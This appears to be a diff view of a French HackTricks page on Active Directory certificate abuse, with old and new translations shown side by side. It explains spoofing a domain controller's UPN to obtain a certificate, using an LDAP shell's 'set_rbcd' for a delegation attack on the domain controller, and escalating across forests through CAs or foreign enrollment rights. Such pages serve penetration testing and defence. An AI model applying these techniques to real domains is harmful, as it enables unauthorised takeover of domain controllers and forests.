<figure><img src="../../../.gitbook/assets/image (13) (1) (1) (1) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour qu'il soit `DC$@corp.local`.
|
||||
Ensuite, nous changeons le `userPrincipalName` de `Jane` pour être `DC$@corp.local`.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (18) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -527,24 +527,24 @@ Si nous essayons de nous authentifier avec le certificat et `-ldap-shell`, nous
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (21) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
L'une des commandes disponibles pour le shell LDAP est `set_rbcd` qui définira la délégation contrainte basée sur les ressources (RBCD) sur la cible. Nous pourrions donc effectuer une attaque RBCD pour compromettre le contrôleur de domaine.
|
||||
Une des commandes disponibles pour le shell LDAP est `set_rbcd` qui définira la Délégation Contrainte Basée sur les Ressources (RBCD) sur la cible. Nous pourrions donc effectuer une attaque RBCD pour compromettre le contrôleur de domaine.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (7) (1) (2) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Alternativement, nous pouvons également compromettre n'importe quel compte utilisateur où il n'y a pas de `userPrincipalName` défini ou où le `userPrincipalName` ne correspond pas au `sAMAccountName` de ce compte. D'après mes propres tests, l'administrateur de domaine par défaut `Administrator@corp.local` n'a pas de `userPrincipalName` défini par défaut, et ce compte devrait par défaut avoir plus de privilèges dans LDAP que les contrôleurs de domaine.
|
||||
Alternativement, nous pouvons aussi compromettre n'importe quel compte utilisateur où il n'y a pas de `userPrincipalName` défini ou où le `userPrincipalName` ne correspond pas au `sAMAccountName` de ce compte. D'après mes propres tests, l'administrateur de domaine par défaut `Administrator@corp.local` n'a pas de `userPrincipalName` défini par défaut, et ce compte devrait par défaut avoir plus de privilèges dans LDAP que les contrôleurs de domaine.
|
||||
|
||||
## Compromettre des forêts avec des certificats
|
||||
## Compromettre des Forêts avec des Certificats
|
||||
|
||||
### Les CA brisent la confiance des forêts
|
||||
### Les CA Brisent la Confiance entre Forêts
|
||||
|
||||
La configuration pour **l'inscription inter-forêts** est relativement simple. Les administrateurs publient le **certificat de la CA racine** de la forêt de ressources **dans les forêts de comptes** et ajoutent les certificats de la **CA d'entreprise** de la forêt de ressources aux conteneurs **`NTAuthCertificates`** et AIA **dans chaque forêt de comptes**. Pour être clair, cela signifie que la **CA** dans la forêt de ressources a un **contrôle complet** sur toutes les **autres forêts pour lesquelles elle gère la PKI**. Si les attaquants **compromettent cette CA**, ils peuvent **forger des certificats pour tous les utilisateurs dans les forêts de ressources et de comptes**, brisant la limite de sécurité de la forêt.
|
||||
La configuration pour **l'inscription inter-forêts** est relativement simple. Les administrateurs publient le **certificat de la CA racine** de la forêt de ressources **aux forêts de comptes** et ajoutent les certificats de la **CA d'entreprise** de la forêt de ressources aux conteneurs **`NTAuthCertificates`** et AIA **dans chaque forêt de comptes**. Pour être clair, cela signifie que la **CA** dans la forêt de ressources a un **contrôle complet** sur toutes **les autres forêts pour lesquelles elle gère la PKI**. Si les attaquants **compromettent cette CA**, ils peuvent **forger des certificats pour tous les utilisateurs dans les forêts de ressources et de comptes**, brisant la limite de sécurité de la forêt.
|
||||
|
||||
### Principaux étrangers avec des privilèges d'inscription
|
||||
### Principaux Étrangers avec des Privilèges d'Inscription
|
||||
|
||||
Une autre chose dont les organisations doivent se méfier dans les environnements multi-forêts est les CA d'entreprise **publiant des modèles de certificats** qui accordent aux **Utilisateurs Authentifiés ou principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle appartient la CA d'entreprise) **des droits d'inscription et de modification**.\
|
||||
Lorsqu'un compte **s'authentifie à travers une confiance**, AD ajoute le SID des **Utilisateurs Authentifiés** au jeton de l'utilisateur qui s'authentifie. Par conséquent, si un domaine a une CA d'entreprise avec un modèle qui **accorde des droits d'inscription aux Utilisateurs Authentifiés**, un utilisateur d'une autre forêt pourrait potentiellement **s'inscrire au modèle**. De même, si un modèle accorde explicitement à un **principal étranger des droits d'inscription**, alors une **relation de contrôle d'accès inter-forêts est créée**, permettant à un principal dans une forêt de **s'inscrire à un modèle dans une autre forêt**.
|
||||
Une autre chose dont les organisations doivent se méfier dans les environnements multi-forêts est les CA d'Entreprise **publiant des modèles de certificats** qui accordent aux **Utilisateurs Authentifiés ou principaux étrangers** (utilisateurs/groupes externes à la forêt à laquelle appartient la CA d'Entreprise) **des droits d'inscription et de modification**.\
|
||||
Lorsqu'un compte **s'authentifie à travers une confiance**, AD ajoute le SID des **Utilisateurs Authentifiés** au jeton de l'utilisateur qui s'authentifie. Par conséquent, si un domaine a une CA d'Entreprise avec un modèle qui **accorde des droits d'inscription aux Utilisateurs Authentifiés**, un utilisateur d'une autre forêt pourrait potentiellement **s'inscrire au modèle**. De même, si un modèle accorde explicitement à un **principal étranger des droits d'inscription**, alors une **relation de contrôle d'accès inter-forêts est créée**, permettant à un principal dans une forêt de **s'inscrire à un modèle dans une autre forêt**.
|
||||
|
||||
En fin de compte, ces deux scénarios **augmentent la surface d'attaque** d'une forêt à une autre. Selon les paramètres du modèle de certificat, un attaquant pourrait exploiter cela pour obtenir des privilèges supplémentaires dans un domaine étranger.
|
||||
Finalement, ces deux scénarios **augmentent la surface d'attaque** d'une forêt à une autre. Selon les paramètres du modèle de certificat, un attaquant pourrait exploiter cela pour obtenir des privilèges supplémentaires dans un domaine étranger.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -552,14 +552,14 @@ En fin de compte, ces deux scénarios **augmentent la surface d'attaque** d'une
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue